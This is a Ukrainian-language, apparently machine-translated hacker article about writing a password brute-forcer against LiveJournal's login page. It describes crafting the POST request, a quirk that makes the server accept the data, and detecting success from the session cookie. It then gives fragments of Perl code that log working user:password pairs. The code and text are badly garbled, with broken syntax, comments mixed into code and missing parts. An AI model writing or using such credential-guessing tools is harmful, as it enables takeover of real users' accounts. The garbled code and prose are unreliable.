Пишемо брутфорс для
Наступним кроком було відновлення пам'яті
на предмет роботи POST-методу. Для нього
актуальна передача наступних обов'язкових
параметрів на сервер:
POST
Host
Content-Length
Приблизно накидавши в текстовиком запит на
сервер, я отримав наступне:
POST /login.bml HTTP / 1.1
Host: www.livejournal.com
Content-Type: application / x-www-form-urlencoded
Content-Length: 26
Як не дивно, воно не працювало :). система
лаялася на невірний пароль. Я подумав, мовляв
існує перевірка на Referer і UserAgent, але помилився.
При підстановці підроблених параметрів
сервер також видавав відповідь - Password Incorrect. як
виявилося, якщо поставити після пароля
символ і збільшити довжину рядка на
одиничку, то сервер успішно їв дані і
повертав Loginned.
Мені дуже не хотілося викачувати всю
довгу ХТМЛіну і вирізати з неї рядок
Loginned. Я хотів обмежитися скромним recv на
один кілобайт даних :). Це було можливим,
так як сервер проставляв кукіз в header-рядках.
У цих куках при вдалому відповіді містилося
ім'я користувача і зашифрований пароль,
приблизно в такому форматі:
Set-Cookie: ljsession = ws: fuck: 1: fDjwfWdsC; path = /; HttpOnly
Отже, власне код:
## Відправимо в сокет
довгий header
$ Socket-> recv ($ answer, 1024); ## І
прочитаємо повернення = 1 кб даних
/ \: $ User \: /) open (logf, ">> $ logfile") or die print "$! \ N";
print logf "$ user: $ pass is OK. \ n";
close logf;
print "$ user: $ pass is OK. \ n";
exit 0; ## Якщо він містить
рядок виду: user: - пишемо лог і завершуємо брут.
> ## Інакше, перевіряємо
наступного пароль
>
Покажи цю статтю друзям: